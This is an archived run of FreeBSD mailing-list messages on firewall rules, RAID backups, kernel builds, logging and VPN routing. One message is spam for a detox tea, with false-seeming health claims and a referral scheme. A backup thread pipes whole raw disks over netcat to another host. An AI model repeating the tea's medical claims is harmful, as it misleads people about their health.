bin dev etc media root usr .profile boot dist home mnt sbin var .snap cdrom distfiles lib proc sys z COPYRIGHT compat entropy libexec rescue tmp [root@jeanie /]# uname -a FreeBSD jeanie.my.domain 7.1-PRERELEASE FreeBSD 7.1-PRERELEASE #8: Mon Sep 1 09:14:51 IST 2008 root@jeanie.my.domain:/usr/obj/usr/src/sys/JEANIE i386 I changed the filesystem on /dev/ad4s8 to ext2, but the problem persists. No idea what's going on :-/ From smithi at nimnet.asn.au Sat Dec 6 07:05:00 2008 From: smithi at nimnet.asn.au (Ian Smith) Date: Sat Dec 6 07:05:08 2008 Subject: ipfw and bridged interface In-Reply-To: <20081204120024.5664610656A7@hub.freebsd.org> References: <20081204120024.5664610656A7@hub.freebsd.org> Message-ID: <20081207015633.F12790@sola.nimnet.asn.au> On Thu, 4 Dec 2008 10:33:23 +0700 (ICT) Olivier Nicole wrote: > I remember that I read, many years ago, something about the way ipfw > interacts with the IP stack. AFAIR, ipfw would be called on layer 2, > where only certain rules would be applied, then on the IP layer where > other rules would apply. Is it still the case? Where can I find th > description? Hi Olivier, See the ipfw(8) section PACKET FLOW .. it's all there, with examples of how to separate layer2 from layer3 traffic, inbound and outbound. cheers, Ian From healthy-wealthy-tea at freemail.lt Sat Dec 6 07:41:29 2008 From: healthy-wealthy-tea at freemail.lt (healthy-wealthy-tea freebsd-questions) Date: Sat Dec 6 07:41:35 2008 Subject: Your friend healthy-wealthy-tea freebsd-questions has recommended this great product from Green Tea & Me Message-ID: <3oUmtk-1L8z5P1SVs-0005Gk@infong660.perfora.net> Hi freebsd-questions! Your friend, healthy-wealthy-tea freebsd-questions, thought that you would be interested in Matcha from Green Tea & Me. healthy-wealthy-tea freebsd-questions sent a note saying: Amazing News, Get Paid, Look Smart And Stay Healthy! Hi Friend, Here's how it works... First, we detoxifies your body. Second, we burn your unwanted fats. Thus, we make all your friends jealous because you will actually lose weight the first day. And Third, you'll be paid the moment you start spreading the good news for others to try themselves with this extraordinary product. Visit this very important link below now!. http://123redirect.com/healthy-and-wealthy-tea So Goodluck, Look Good And Be Healthy, Associates http://123redirect.com/healthy-and-wealthy-tea Online Promoter P.S. Dr. Miller's Iaso Tea - formulated by Dr. Bill Miller (Bs.Ms.Ph.D. Nutritional Science) of Tennessee, USA - is a unique herbal blend of safe, all-natural ingredients designed to gently cleanse the digestive tract and detoxify the whole body. Iaso Tea is like a white tea, a green tea, a weight loss tea, and a great-tasting herbal tea - all wrapped up in each unbleached tea bag. But, most of all, Dr. Miller's Iaso Tea is a healing tea. Remarkable things happen when you drink Iaso Tea every day. It is gentle, yet surprisingly powerful as a colon cleanse, parasite cleanse, Candida cleanse, blood purifier, and whole body detoxifier. It acts like a general health tonic and a home remedy for many ailments like the ones mentioned below. Some want to call it a "miracle tea", but this cleansing and slimming tea is really just a special blend of high-quality herbs, tested and refined over time, which produce fast and effective results that no imitator has been able to copy. ------------------------------ Email here: healthy-wealthy-tea@freemail.lt and add "Not interested" ---------------------------------------------------------------------------------------- To view the product, click on the link below or copy and paste the link into your web browser: http://www.greenteame.com/store/index.php?main_page=product_info&products_id=1 Regards, Green Tea & Me http://www.greenteame.com/store/ ----- IMPORTANT: For your protection and to prevent malicious use, all emails sent via this web site are logged and the contents recorded and available to the store owner. If you feel that you have received this email in error, please send an email to customersupport@greenteame.com From peterpub2 at aboutsupport.com Sat Dec 6 10:45:14 2008 From: peterpub2 at aboutsupport.com (Peter) Date: Sat Dec 6 10:45:21 2008 Subject: FreeBSD on Cisco IDS 4235 In-Reply-To: <492953A5.4070206@aboutsupport.com> References: <492953A5.4070206@aboutsupport.com> Message-ID: <493AC82E.5000509@aboutsupport.com> Hello, I have fixed the problem myself. If anyone ever experience this problem the solution is: Replace cisco BIOS with Dell BIOS for Poweredge 1650, revision 32. Then FreeBSD 7 install like charm. Link to DELL's site: http://support.dell.com/support/downloads/download.aspx?c=us&l=en&s=gen&releaseid=R68041&SystemID=PWE_PNT_PIII_1650&servicetag=&os=WNET&osl=en&deviceid=159&devlib=0&typecnt=0&vercnt=7&catid=-1&impid=-1&formatcnt=4&libid=1&fileid=88251 Peter Peter wrote: > Hello, > > I am trying to install FreeBSD 7.0 on Cisco IDS 4235(pentium III 1.2 > Ghz, 1 GB ram, the device seems quite simialr to Dell PowerEdge 1750 > Server). However BTX loader dies with this message(see screenshot here: > http://www.aboutsupport.com/freebsd/btx.jpg) > > I tried with both ACPI and Safe mode but still no luck. > > Other operating systems I tried: > > Debian - installs just fine > FreeBSD 6.3 - installs just fine > NetBSD 4 - installs just fine > FreeBSD 7.1 FAILS, even at earlier stage than 7.0, on loader stage. > > Thanks in advance for your help. > > Peter > From kitchetech at gmail.com Sat Dec 6 12:19:34 2008 From: kitchetech at gmail.com (matt donovan) Date: Sat Dec 6 12:19:40 2008 Subject: QT4.5 packages In-Reply-To: <493A3379.5000003@maydias.com> References: <4939CABB.7050702@maydias.com> <493a2ae3.QQ6M6FrL1JDBOeHu%perryh@pluto.rain.com> <493A3379.5000003@maydias.com> Message-ID: <28283d910812061219u2915f49cw9767c4abffb33dd2@mail.gmail.com> On Sat, Dec 6, 2008 at 3:10 AM, Warren Liddell wrote: > You can find many packages for several releases under > >> ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386 >> _______________________________________________ >> >> > Yeah that was the first palced i checked, but there is only 4.4.1 and at > the least i need 4.4.2, but a lot of things im now running require 4.5 an > being as i can build them i goto add them from pkg .. im running AMD64 > FreeBSD 7.1-PreRelease KDE 4.1.3 > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > Qt4.5 has not been ported over yet but they are working on it. From wojtek at wojtek.tensor.gdynia.pl Sat Dec 6 14:54:52 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Sat Dec 6 14:54:59 2008 Subject: "Sticky" mouse pointer on machine with high load In-Reply-To: <20081206122711.GF19575@torus.slightlystrange.org> References: <4939F044.8090507@rawbw.com> <20081206122711.GF19575@torus.slightlystrange.org> Message-ID: <20081206235256.D1855@wojtek.tensor.gdynia.pl> > Not guaranteed, but it has worked for several people in the past - try > rebuilding your kernel with the SCHED_ULE scheduler, instead of the make sure you have quite new FreeBSD 7-* branch, as it was quite improved few months ago. you may try to tune it up by changing kern.sched.interact sysctl in short - higher value - interactive processes gets better scheduling > SCHED_BSD4 scheduler. Although ostensibly its benefits are more obvious > on multi-processor machines, it does often seem to fix this mouse lag > issue that comes up from time to time. > > It has been discussed on the list several times, so you might find some > interesting further reading if you search the archives. > > Dan > > -- > Daniel Bye > _ > ASCII ribbon campaign ( ) > - against HTML, vCards and X > - proprietary attachments in e-mail / \ > From doug at polands.org Sat Dec 6 15:03:15 2008 From: doug at polands.org (Doug Poland) Date: Sat Dec 6 15:03:22 2008 Subject: Backup complete gmirror/gstripe/gjournal drives, how-to? Message-ID: <493AFD81.6020705@polands.org> Hello, I've got a 7.1-PRERELEASE i386 box with 4 SATA drives configured in a RAID-10 using gmirror, gstripe, and gjournal. Normally, I use dump and rsync for periodic backups on this machine, but I suspect that the gmirror/gstripe/gjournal information is not being backed up. If my assumption is correct, how can I perform a "one-time" backup such that I could do a bare-metal restore? The essence of the question being I want to preserve not only the data, but also the gmirror/gstripe/gjournal meta-data as well. The only thought that comes to mind is to boot with a 7.1 live filesystem CD-ROM and "dd" each drive, piping the results to my backup machine. e.g., host# dd if=/dev/ad4 bs=2m | gzip | nc backuphost 12345 host# dd if=/dev/ad6 bs=2m | gzip | nc backuphost 12346 host# dd if=/dev/ad10 bs=2m | gzip | nc backuphost 12347 host# dd if=/dev/ad12 bs=2m | gzip | nc backuphost 12348 Any thoughts, suggestions, caveats? -- Regards, Doug P.S. Here are the geom and fdisk details, if that helps... host# gmirror list Geom name: root State: COMPLETE Components: 4 Balance: load Slice: 4096 Flags: NONE GenID: 0 SyncID: 5 ID: 127818465 Providers: 1. Name: mirror/root Mediasize: 1068802048 (1.0G) Sectorsize: 512 Mode: r1w1e2 Consumers: 1. Name: ad4s1 Mediasize: 1069254144 (1.0G) Sectorsize: 512 Mode: r1w1e1 State: ACTIVE Priority: 0 Flags: NONE GenID: 0 SyncID: 5 ID: 3738169247 2. Name: ad6s1 Mediasize: 1069254144 (1.0G) Sectorsize: 512 Mode: r1w1e1 State: ACTIVE Priority: 0 Flags: NONE GenID: 0 SyncID: 5 ID: 3845503692 3. Name: ad10s1 Mediasize: 1069254144 (1.0G) Sectorsize: 512 Mode: r1w1e1 State: ACTIVE Priority: 0 Flags: NONE GenID: 0 SyncID: 5 ID: 4161988509 4. Name: ad12s1 Mediasize: 1069254144 (1.0G) Sectorsize: 512 Mode: r1w1e1 State: ACTIVE Priority: 0 Flags: NONE GenID: 0 SyncID: 5 ID: 2277790192 Geom name: duplex0 State: COMPLETE Components: 2 Balance: load Slice: 4096 Flags: NONE GenID: 1 SyncID: 2 ID: 2584379190 Providers: 1. Name: mirror/duplex0 Mediasize: 154676389888 (144G) Sectorsize: 512 Mode: r1w1e2 Consumers: 1. Name: ad4s3 Mediasize: 154676390400 (144G) Sectorsize: 512 Mode: r1w1e1 State: ACTIVE Priority: 0 Flags: DIRTY GenID: 1 SyncID: 2 ID: 1342354069 2. Name: ad10s3 Mediasize: 154676390400 (144G) Sectorsize: 512 Mode: r1w1e1 State: ACTIVE Priority: 0 Flags: DIRTY GenID: 1 SyncID: 2 ID: 985541614 Geom name: duplex1 State: COMPLETE Components: 2 Balance: load Slice: 4096 Flags: NONE GenID: 1 SyncID: 3 ID: 1552757394 Providers: 1. Name: mirror/duplex1 Mediasize: 154676389888 (144G) Sectorsize: 512 Mode: r1w1e2 Consumers: 1. Name: ad6s3 Mediasize: 154676390400 (144G) Sectorsize: 512 Mode: r1w1e1 State: ACTIVE Priority: 0 Flags: DIRTY GenID: 1 SyncID: 3 ID: 429168325 2. Name: ad12s3 Mediasize: 154676390400 (144G) Sectorsize: 512 Mode: r1w1e1 State: ACTIVE Priority: 0 Flags: DIRTY GenID: 1 SyncID: 3 ID: 1587593952 host# gstripe list Geom name: raid10 State: UP Status: Total=2, Online=2 Type: AUTOMATIC Stripesize: 262144 ID: 4114245491 Providers: 1. Name: stripe/raid10 Mediasize: 309352464384 (288G) Sectorsize: 512 Mode: r1w1e1 Consumers: 1. Name: mirror/duplex0 Mediasize: 154676389888 (144G) Sectorsize: 512 Mode: r1w1e2 Number: 0 2. Name: mirror/duplex1 Mediasize: 154676389888 (144G) Sectorsize: 512 Mode: r1w1e2 Number: 1 host# gjournal list Geom name: gjournal 2147944994 ID: 2147944994 Providers: 1. Name: stripe/raid10.journal Mediasize: 308278722048 (287G) Sectorsize: 512 Mode: r1w1e1 Consumers: 1. Name: stripe/raid10 Mediasize: 309352464384 (288G) Sectorsize: 512 Mode: r1w1e1 Jend: 309352463872 Jstart: 308278722048 Role: Data,Journal host# fdisk ad{4,6,10,12} ******* Working on device /dev/ad4 ******* parameters extracted from in-core disklabel are: cylinders=310101 heads=16 sectors/track=63 (1008 blks/cyl) Figures below won't work with BIOS for partitions not in cyl 1 parameters to be used for BIOS calculations are: cylinders=310101 heads=16 sectors/track=63 (1008 blks/cyl) Media sector size is 512 Warning: BIOS sector numbering starts with sector 1 Information from DOS bootblock is: The data for partition 1 is: sysid 165 (0xa5),(FreeBSD/NetBSD/386BSD) start 63, size 2088387 (1019 Meg), flag 80 (active) beg: cyl 0/ head 1/ sector 1; end: cyl 129/ head 254/ sector 63 The data for partition 2 is: sysid 165 (0xa5),(FreeBSD/NetBSD/386BSD) start 2088450, size 8385930 (4094 Meg), flag 0 beg: cyl 130/ head 0/ sector 1; end: cyl 651/ head 254/ sector 63 The data for partition 3 is: sysid 165 (0xa5),(FreeBSD/NetBSD/386BSD) start 10474380, size 302102325 (147510 Meg), flag 0 beg: cyl 652/ head 0/ sector 1; end: cyl 1023/ head 254/ sector 63 The data for partition 4 is: From wojtek at wojtek.tensor.gdynia.pl Sat Dec 6 15:10:30 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Sat Dec 6 15:10:36 2008 Subject: Backup complete gmirror/gstripe/gjournal drives, how-to? In-Reply-To: <493AFD81.6020705@polands.org> References: <493AFD81.6020705@polands.org> Message-ID: <20081207000913.V1934@wojtek.tensor.gdynia.pl> > periodic backups on this machine, but I suspect that the > gmirror/gstripe/gjournal information is not being backed up. > > If my assumption is correct, how can I perform a "one-time" backup such that > I could do a bare-metal restore? The essence of the question being I want to assuming you do gmirror first and then gstripe of gmirror then use dd to read last sectors of each disk drive and each gmirror device. and backup disklabels From dan at langille.org Sat Dec 6 16:10:08 2008 From: dan at langille.org (Dan Langille) Date: Sat Dec 6 16:10:15 2008 Subject: The FreeBSD Diary: 2008-11-16 - 2008-12-06 Message-ID: <20081207001003.55C6F508C3@nyi.unixathome.org> The FreeBSD Diary contains a large number of practical examples and how-to guides. This message is posted weekly to freebsd-questions@freebsd.org with the aim of letting people know what's available on the website. Before you post a question here it might be a good idea to first search the mailing list archives and/or The FreeBSD Diary . These are the articles posted during this period: 2-Dec : Obscuring smtp auth headers If you consider your smtp-auth location to be private, this is what you want. http://freebsddiary.org/smtp-headers-rewrite-auth.php?2 29-Nov : OpenVPN - creating a routed VPN If you have multiple VPN clients, this is a practical solution. http://freebsddiary.org/openvpn-routed.php?2 27-Nov : OpenVPN - getting it running Using OpenVPN to create a secure pathway between home and office http://freebsddiary.org/openvpn.php?2 27-Nov : Creating your own Certificate Authority How to create a CA and generate your own SSL certificates http://freebsddiary.org/openvpn-easy-rsa.php?2 -- Dan Langille BSDCan - http://www.BSDCan.org/ - BSD Conference From bruce at cran.org.uk Sat Dec 6 18:01:27 2008 From: bruce at cran.org.uk (Bruce Cran) Date: Sat Dec 6 18:01:33 2008 Subject: FreeBSD cannot power down In-Reply-To: <289102.92495.qm@web57001.mail.re3.yahoo.com> References: <706654.84147.qm@web57001.mail.re3.yahoo.com> <289102.92495.qm@web57001.mail.re3.yahoo.com> Message-ID: <20081207020126.GA23324@muon.cran.org.uk> On Thu, Dec 04, 2008 at 03:42:51AM -0800, Unga wrote: > --- On Tue, 12/2/08, Unga wrote: > > > From: Unga > > Subject: FreeBSD cannot power down > > To: freebsd-questions@freebsd.org > > Date: Tuesday, December 2, 2008, 11:22 PM > > Hi all > > > > After a kernel recompilation on i386 RELENG_7 (not the > > latest), I cannot power down the machine. > > > > kldstat shows acpi.ko is loaded. > > > > It used to switch off but now the "shutdown -p > > now" halts the system with following messages: > > The operating system has halted. > > Please press any key to reboot. > > > > What else could I check to identify the cause? > > > > Appreciate your ideas on this. > > > > I had a look at source code. The program flow seems to be is as follows: > > shutdown => (signals) init => reboot() => boot() => shutdown_final => shutdown_halt() => cpu_halt() > > I did not see which function is called to request a power down. > > The __asm__ ("hlt") doesn't power down, isn't it? > > Could you guys help me to identify how shutdown request a power down. > HLT is just an old power-saving instruction that was traditionally run in the idle loop. From reading the code it looks like the system should be powered off during poweroff_wait but I can't see where ACPI is told to remove power. You might get more help by asking on the freebsd-acpi list. -- Bruce Cran From jerrymc at msu.edu Sat Dec 6 18:05:02 2008 From: jerrymc at msu.edu (Jerry McAllister) Date: Sat Dec 6 18:05:09 2008 Subject: UFS partitioning In-Reply-To: <493a29a0.hL3b8/2ruLsiG6A9%perryh@pluto.rain.com> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> <18743.14461.951431.581673@jerusalem.litteratus.org> <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> <20081204154923.GB1366@gizmo.acns.msu.edu> <1228413503.79750.8.camel@laptop2.herveybayaustralia.com.au> <20081205160249.GA5954@gizmo.acns.msu.edu> <493a29a0.hL3b8/2ruLsiG6A9%perryh@pluto.rain.com> Message-ID: <20081207015952.GA11735@gizmo.acns.msu.edu> On Fri, Dec 05, 2008 at 11:28:32PM -0800, perryh@pluto.rain.com wrote: > > Dangerous is probably overstating the issue a bit ... > > AFAIK the "danger" is that someone boots the machine with an > installer for some other OS, and that installer treats the > disk as unformatted -- hence "obviously" containing nothing > important -- because it doesn't have a recognizable MBR. Yes, that could happen if you run a non-FreeBSD installer that doesn't know about FreeBSD and Dangerously Dedicated disks. ////jerry > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From jerrymc at msu.edu Sat Dec 6 18:05:32 2008 From: jerrymc at msu.edu (Jerry McAllister) Date: Sat Dec 6 18:05:39 2008 Subject: UFS partitioning In-Reply-To: <20081206091545.P33365@wojtek.tensor.gdynia.pl> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> <18743.14461.951431.581673@jerusalem.litteratus.org> <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> <20081204154923.GB1366@gizmo.acns.msu.edu> <1228413503.79750.8.camel@laptop2.herveybayaustralia.com.au> <20081205160249.GA5954@gizmo.acns.msu.edu> <493a29a0.hL3b8/2ruLsiG6A9%perryh@pluto.rain.com> <20081206091545.P33365@wojtek.tensor.gdynia.pl> Message-ID: <20081207020022.GB11735@gizmo.acns.msu.edu> On Sat, Dec 06, 2008 at 09:16:00AM +0100, Wojciech Puchar wrote: > > > >AFAIK the "danger" is that someone boots the machine with an > >installer for some other OS, and that installer treats the > >disk as unformatted -- hence "obviously" containing nothing > >important -- because it doesn't have a recognizable MBR. > > some people rarely boot other OS :) And, in that case, it probably doesn't matter. ////jerry > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From doug at polands.org Sat Dec 6 18:37:09 2008 From: doug at polands.org (Doug Poland) Date: Sat Dec 6 18:37:16 2008 Subject: Backup complete gmirror/gstripe/gjournal drives, how-to? In-Reply-To: <20081207000913.V1934@wojtek.tensor.gdynia.pl> References: <493AFD81.6020705@polands.org> <20081207000913.V1934@wojtek.tensor.gdynia.pl> Message-ID: <493B36D2.2040509@polands.org> Wojciech Puchar wrote: >> periodic backups on this machine, but I suspect that the >> gmirror/gstripe/gjournal information is not being backed up. >> >> If my assumption is correct, how can I perform a "one-time" backup >> such that I could do a bare-metal restore? The essence of the >> question being I want to > > assuming you do gmirror first and then gstripe of gmirror then > use dd to read last sectors of each disk drive and each gmirror device. > and backup disklabels > Thanks for the suggestion. I did, in fact, create a gstripe of two gmirrors. If you don't mind me asking, how would one use the dd output you described above to restore those data? Would it include the gjournal metadata as well? -- Regards, Doug From wojtek at wojtek.tensor.gdynia.pl Sat Dec 6 18:45:48 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Sat Dec 6 18:46:05 2008 Subject: Backup complete gmirror/gstripe/gjournal drives, how-to? In-Reply-To: <493B36D2.2040509@polands.org> References: <493AFD81.6020705@polands.org> <20081207000913.V1934@wojtek.tensor.gdynia.pl> <493B36D2.2040509@polands.org> Message-ID: <20081207034453.B2642@wojtek.tensor.gdynia.pl> >>> that I could do a bare-metal restore? The essence of the question being I >>> want to >> >> assuming you do gmirror first and then gstripe of gmirror then >> use dd to read last sectors of each disk drive and each gmirror device. >> and backup disklabels >> > Thanks for the suggestion. I did, in fact, create a gstripe of two gmirrors. > If you don't mind me asking, how would one use the dd output you described > above to restore those data? Would it include the gjournal metadata as well? i don't know how gjournal works but geom data is always at last sector of provider From fbsd1 at a1poweruser.com Sat Dec 6 19:04:51 2008 From: fbsd1 at a1poweruser.com (Fbsd1) Date: Sat Dec 6 19:04:59 2008 Subject: IPFilter section in Handbook needs updating In-Reply-To: <661217.76488.qm@web52202.mail.re2.yahoo.com> References: <661217.76488.qm@web52202.mail.re2.yahoo.com> Message-ID: <493B3D77.6080404@a1poweruser.com> G magicman wrote: > And incomplete yes i agree that the doc does need to be updated and examples (more) need to be added. > > --- On Fri, 12/5/08, Dean Weimer wrote: > From: Dean Weimer > Subject: IPFilter section in Handbook needs updating > To: freebsd-questions@freebsd.org > Date: Friday, December 5, 2008, 10:07 AM > > I was just setting up ipfilter and ipmon on a FreeBSD 7 server, and noticed that > the ipmon and syslog information under the ipfilter section of the handbook is > incorrect. > > The section reads: > -----snip----- > 31.5.7 IPMON Logging > Syslogd uses its own special method for segregation of log data. It uses > special groupings called "facility" and "level". IPMON in > -Ds mode uses security as the "facility" name. All IPMON logged data > goes to security The following levels can be used to further segregate the > logged data if desired: > LOG_INFO - packets logged using the "log" keyword as the action > rather than pass or block. > LOG_NOTICE - packets logged which are also passed > LOG_WARNING - packets logged which are also blocked > LOG_ERR - packets which have been logged and which can be considered short > To setup IPFILTER to log all data to /var/log/ipfilter.log, you will need to > create the file. The following command will do that: > # touch /var/log/ipfilter.log > The syslog function is controlled by definition statements in the > /etc/syslog.conf file. The syslog.conf file offers considerable flexibility in > how syslog will deal with system messages issued by software applications like > IPF. > Add the following statement to /etc/syslog.conf: > security.* /var/log/ipfilter.log > The security.* means to write all the logged messages to the coded file > location. > To activate the changes to /etc/syslog.conf you can reboot or bump the syslog > task into re-reading /etc/syslog.conf by running /etc/rc.d/syslogd reload > Do not forget to change /etc/newsyslog.conf to rotate the new log you just > created above. > -----snip----- > > In trying to configure this I found that ipmon -Dsa doesn't log to > security, but logs to local0 instead. Reading the man page for ipmon does in > fact state this. However it also list the -L option as being able to change > this default behavior, I tried ipmon -DSa -L security, it excepts this, but > doesn't actually change the logging to use security. It still only outputs > to the syslog using local0, I also tried using ipmon -DSa -L local7 as well, > still outputs to local0. It was easy enough to modify my syslog.conf to output > the local0.* as well as security.* to the /var/log/security file. However it > would be greatly appreciated if someone that actually understands what's > going on here could get this info updated. It would have saved me some time, as > well as I am sure some other people in the future. Of course it's always > possible I am missing something simple here that is causing this discrepancy, > please do inform me if I did. It's probably worth mentioning that I am > starting ipmon using the rc.conf file with ipmon_enable="YES" and > ipmon_flags="-DSa", just in case the /etc/rc.d/ipmon script actually > changes the default behavior of ipmon in some way, though I didn't see > anything in it that should. And ps wwaux | grep ipmon does display the process > running with the flags exactly as stated on the ipmon_flags line of the > /etc/rc.conf file. > > Thanks, > Dean Weimer > Network Administrator > Orscheln Management Co > I wrote that whole firewall handbook section. How is the following for complete replacement of the 31.5.7 IPMON Logging section? 31.5.7 IPMON Logging Syslogd uses its own special method for segregation of log data. It uses special groupings called ?facility? and ?level?. IPMON in ?Ds mode uses local0 as the ?facility? name. All IPMON logged data goes to local0. You have to manually configure the /etc/syslog.conf file by adding the statements to direct the Local0 'facility' to the log file name recording the log records. FBSD keeps all of its syslog files in /var/log/ directory. First allocate the new named log file for the IPFMON logged data. touch /var/log/ipfilter.log # will allocate the file The syslog function is controlled by definition statements in the /etc/syslog.conf file. You will have to edit the /etc/syslog.conf file. Add the following statement to syslog.conf: local0.* /var/log/ipfilter.log The local0.* means to write all the logged messages to the coded file location. To activate the changes to /etc/syslog.conf you can reboot or bump the syslog task into re-reading /etc/syslog.conf by kill ?HUP pid. You get the pid (IE: process number) by listing the tasks with the ps ax command. Find syslog in the display and the pid number is the number in the left column. Don?t forget to change /etc/newsyslog.conf to rotate the new named IPFILTER log you just created above. From federico.cicciarella at clbsrl.it Sat Dec 6 23:29:22 2008 From: federico.cicciarella at clbsrl.it (Federico Cicciarella) Date: Sat Dec 6 23:29:29 2008 Subject: Error Kernel Compiling Message-ID: linking kernel.debug if.o(.text+0x1027): In function `if_setlladdr': /usr/src/sys/net/if.c:2646: undefined reference to `arp_ifinit' igmp.o(.text+0x45): In function `igmp_sendpkt': /usr/src/sys/netinet/igmp.c:472: undefined reference to `loif' ip_output.o(.text+0xae9): In function `ip_output': /usr/src/sys/netinet/ip_output.c:1196: undefined reference to `if_simloop' ip_output.o(.text+0xcfe):/usr/src/sys/netinet/ip_output.c:451: undefined reference to `loif' ip6_input.o(.text+0xedf): In function `ip6_input': /usr/src/sys/netinet6/ip6_input.c:254: undefined reference to `loif' ip6_output.o(.text+0x10a): In function `ip6_mloopback': /usr/src/sys/netinet6/ip6_output.c:3258: undefined reference to `if_simloop' ip6_output.o(.text+0x3bad): In function `ip6_output': /usr/src/sys/netinet6/ip6_output.c:845: undefined reference to `loif' nd6.o(.text+0x2d77): In function `nd6_rtrequest': /usr/src/sys/netinet6/nd6.c:1334: undefined reference to `loif' *** Error code 1 Stop in /usr/obj/usr/src/sys/MYKERNEL. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. Why? From cynical.nihilist at gmail.com Sat Dec 6 23:54:18 2008 From: cynical.nihilist at gmail.com (Cynical Nihilist) Date: Sat Dec 6 23:54:26 2008 Subject: FreeBSD /dev/fd0 Message-ID: <493B7C14.3000408@gmail.com> Hi, I am having issues configuring and using my external floppy drive on FreeBSD 7.0-RELEASE. It's a parallel port floppy drive. /dev/fd0 is not present and dmesg shows fdc0: port 0x3f2-0x3f5,0x3f7 irq 6 drq 2 on acpi0 fdc0: [FILTER] when using dmesg | grep fd parallel port is working properly and I can read/write from it. Thank you From onsapoengo at gmail.com Sun Dec 7 00:01:40 2008 From: onsapoengo at gmail.com (onsapoengo Ons) Date: Sun Dec 7 00:01:47 2008 Subject: Why FreeBSD not popular on hardware vendors Message-ID: <4be2da2e0812062344y26eddcc9sf589531d10c71a1c@mail.gmail.com> Hello ! It would be desirable to learn from experienced users OS - why FreeBSD does not concern the category serious systems at the overwhelming majority of manufacturers of hardware. More recently there were times when anybody from manufacturers did not notice Linux. However now it is possible to find a few companies who does not write drivers Linux for the products. Has really problem only in small user-base? More recently for example I addressed in a support service of one very large company who making a servers. The question has been connected with incorrectly working equipment. When me have asked "Whats there OS on harware" and having received answer "FreeBSD", they have given out "put normal OS - their list is at us on a site and then we will respond on yours ticked". It is very strange to hear similar things if to consider that by data netcraft and to other sources of information FreeBSD is the favourite at a number of large organisations ISP. It seems to me vendors are afraid of that FreeBSD has stable Core no structure. And if the constant collective of the developers working for the paid standard working days of 5 days in week has been generated - who would give support FreeBSD - people would concern serious OS and they would not have a feeling of incomprehensibility about the future and perspectivity FreeBSD. The salary to these programmers can be collected through donations or - perhaps to let out the commercial project on the basis of FreeBSD - for example the complete well adjusted distribution kit for servers or desktop - as PCBSD command does. And it is still possible - somewhere to publish base loyal vendors - "good" and "evil" in relation to FreeBSD. In number good to bring those who by own strength accompanies FreeBSD drivers the equipment. For example I know from such - 3Ware letting out controllers. Nvidia graphics card for i386. I very much love FreeBSD as OS, but unfortunately people have no correct representation about it. Where the truth. Thanks & WBR! From wojtek at wojtek.tensor.gdynia.pl Sun Dec 7 00:40:58 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Sun Dec 7 00:41:05 2008 Subject: Why FreeBSD not popular on hardware vendors In-Reply-To: <4be2da2e0812062344y26eddcc9sf589531d10c71a1c@mail.gmail.com> References: <4be2da2e0812062344y26eddcc9sf589531d10c71a1c@mail.gmail.com> Message-ID: <20081207093713.O5433@wojtek.tensor.gdynia.pl> > manufacturers of hardware. More recently there were times when anybody from because managers/bosses concentrate on majority, not minority of users. > manufacturers did not notice Linux. However now it is possible to find a few > given out "put normal OS - their list is at us on a site and then we will i recommend you to find "normal shop" to buy hardware, that allow you to fully test computer before buying. if you think there are larger (even hundreds means larger) start selling "FreeBSD compatible computers" in your area! You could make money on that, many people will easily spend 100$ more for computer that is already tested 100% FreeBSD compatible. All you have to do is to test/check lots of different parts of hardware if it actually work with FreeBSD fine, and make computers from that parts. From wojtek at wojtek.tensor.gdynia.pl Sun Dec 7 00:41:59 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Sun Dec 7 00:42:06 2008 Subject: FreeBSD /dev/fd0 In-Reply-To: <493B7C14.3000408@gmail.com> References: <493B7C14.3000408@gmail.com> Message-ID: <20081207094103.D5433@wojtek.tensor.gdynia.pl> > I am having issues configuring and using my external floppy drive on > FreeBSD 7.0-RELEASE. It's a parallel port floppy drive. /dev/fd0 is not > present and dmesg shows > fdc0: port 0x3f2-0x3f5,0x3f7 irq 6 drq 2 on > acpi0 > fdc0: [FILTER] > > when using dmesg | grep fd > > parallel port is working properly and I can read/write from it. is parallel floppy supported by FreeBSD? i don't think so. what you see in dmesg is standard builtin floppy controller, often present on chipset. From odhiambo at gmail.com Sun Dec 7 01:10:11 2008 From: odhiambo at gmail.com (Odhiambo Washington) Date: Sun Dec 7 01:10:18 2008 Subject: Adding Static Routes - Tricky situation Message-ID: <991123400812070110r6734e4bexf761705e20efd1dd@mail.gmail.com> Hello list, I have a situation where I am connecting two sites using mpd. mpd5 is running at site A on server mode while mpd5 is also running on site B but on initiator mode. Site B establishes a connection to site B to complete the tunnel. This works so far, and users on the LAN on site B are able to reach site A. Now I'd like to enable users on site A to also reach site B side of the LAN, but I don't see where in mpd I can do it. After some little thinking, I have noticed that I can add a static route definition to site A from site A, but this route can only be added when the tunnel interface is up. So far, I have assumed that in 120secs after (re)booting the server on site A, and assuming server on site B is up, it will be able to (re)establish the vpn connection to site A, and thus ng0 will be up. With that in mind, I am running a small primitive script in /usr/local/etc/rc.d/ng0.sh that: sleep 120 /sbin/route add -net a.b.c.d/24 -iface ng0 This is working, but it is quote primitive for me. I'd like this script to run based on the following conditions: 1. That mpd is started successfully 2. That ng0 is up Site A is FreeBSD 5.5-STABLE (yeah, I will soon upgrade it) while site B is FreeBSD-7.1-PRE, so both sides should support rcNG type scripts. Appreciate your help on how I can check for the two conditions. 